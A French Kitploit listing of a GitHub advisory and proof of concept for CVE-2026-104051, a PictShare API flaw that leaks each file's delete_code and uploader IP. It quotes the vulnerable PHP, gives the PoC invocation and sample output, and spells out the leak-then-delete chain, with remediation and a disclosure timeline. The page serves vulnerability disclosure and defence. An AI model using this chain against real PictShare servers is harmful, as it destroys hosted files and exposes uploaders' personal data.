Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-104051-pictshare-info-disclosure — Divulgation d'informations sensibles via l'API info dans PictShare < 3.7.1 (CWE-522). PoC + rapport d'avis. | Kitploit
Outils/GitHubGitHub/wvllxe/cve-2026-104051-pictshare-info-disclosure
Analyse des VulnérabilitésExploitationExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsSécurité WebArticles et RechercheApprentissage et Éducation
GitHubwvllxe/cve-2026-104051-pictshare-info-disclosure

CVE-2026-104051-pictshare-info-disclosure

Divulgation d'informations sensibles via l'API info dans PictShare < 3.7.1 (CWE-522). PoC + rapport d'avis.

Voir le dépôt
2il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-104051 — Divulgation d'informations sensibles via l'API info dans PictShare

Recherche de sécurité autorisée. PoC à usage défensif et éducatif uniquement.

CVSS 3.1 CVSS 4.0 CWE-522 Status

Le point de terminaison /api/info/<hash> de PictShare renvoie l'objet de métadonnées brutes complet pour tout fichier téléversé — y compris le delete_code secret qui autorise la suppression, ainsi que l'IP du téléverseur, le User-Agent, le port distant et le SHA-1. Un attaquant non authentifié qui connaît le hash (publiquement visible) d'un fichier peut lire son delete_code puis supprimer définitivement des fichiers hébergés arbitraires.

CVECVE-2026-104051
ProduitPictShare (hébergeur d'images/médias auto-hébergé)
Affecté>= 2.0.0, < 3.7.1
Corrigé dansv3.7.1
VulnérabilitéIdentifiants insuffisamment protégés (CWE-522) → suppression arbitraire de fichiers + perte de confidentialité
PrivilègesAucun (non authentifié)
CVSS 3.18.2 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H
CVSS 4.08.8 HIGH — AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H
Découvert parAlisher Qarshibayev
AvisVulnCheck

Cause racine

API::info() recherche le hash et renvoie getMetadataOfHash() tel quel — sans liste blanche de champs :

// src/inc/api.class.php  (< 3.7.1)
public function info()
{
    $hash = $this->url[1] ?? '';
    if (!$hash)                  return ['status' => 'err', 'reason' => 'Missing hash'];
    if (!isExistingHash($hash))  return ['status' => 'err', 'reason' => 'Hash not found'];

    return getMetadataOfHash($hash);   // <-- raw meta.json, includes delete_code, ip, useragent
}

Et checkPermissions() — le seul contrôle avant la route info — vérifie la possibilité d'écriture sur le système de fichiers, pas l'identité, de sorte que info est accessible sans authentification :

public function checkPermissions()
{
    if (!isFolderWritable(getDataDir()))      throw new Exception('Data directory not writable');
    else if (!isFolderWritable(ROOT.DS.'tmp')) throw new Exception('Temp directory not writable');
}

Les métadonnées renvoyées contiennent delete_code, que l'API de suppression accepte comme unique secret d'autorisation :

// src/inc/api.class.php  delete()
$correctCode = getDeleteCodeOfHash($hash);
if ($correctCode !== $code && $masterCode !== $code)
    return ['status' => 'err', 'reason' => 'Invalid delete code'];
deleteHash($hash);

Les hash de fichiers sont publics (ils apparaissent dans chaque URL d'image partagée), donc toute la chaîne — fuiter le code via info, puis supprimer via delete — ne nécessite rien d'autre que l'URL qu'un utilisateur a déjà partagée.

Preuve de concept

python3 poc.py --url https://pics.example.com --hash <public_file_hash>
# add --delete to actually exercise the deletion (destructive) step

Résultat attendu :

[*] GET /api/info/<hash>
[+] Leaked metadata via info API:
      delete_code : 7f3a9c1e...   <-- SECRET, should never be exposed
      ip          : 203.0.113.44  <-- uploader privacy leak
      useragent   : Mozilla/5.0 ...
      remote_port : 51544
      sha1        : da39a3ee...
[+] CVE-2026-104051 confirmed: delete_code exposed to unauthenticated caller
[i] With --delete: GET /api/delete/<leaked_code>/<hash> -> {"status":"ok"}

Voir poc.py. La suppression est optionnelle (--delete) afin que l'exécution par défaut soit en lecture seule et non destructive.

Impact

  • Tout visiteur non authentifié peut supprimer n'importe quel fichier hébergé en utilisant uniquement son hash public → perte de disponibilité / d'intégrité de tout le contenu hébergé.
  • Divulgation de données personnelles du téléverseur (IP, User-Agent, port distant) → désanonymisation et perte de confidentialité.

Remédiation

Mettre à niveau vers PictShare 3.7.1 (commit de correction ce5fc47). info() renvoie désormais une liste blanche stricte (mime, size, hash, sha1, uploaded) et ne fuite plus delete_code, ip, useragent ni remote_port. Recommandation générale : les réponses d'API doivent explicitement définir une liste blanche de champs ; ne jamais sérialiser un enregistrement interne qui mélange secrets et données publiques.

Associé : CVE-2026-104356 — même sans cette fuite, le delete_code était prévisible car généré avec rand().

Chronologie

DateÉvénement
2026-10-01Divulgation publique, CVE réservé et publié (VulnCheck), corrigé dans la v3.7.1

Divulgation

Divulgué de manière responsable au fournisseur et coordonné via VulnCheck. Corrigé avant la publication de ce PoC. Publié à des fins défensives et éducatives.

Télécharger l’outil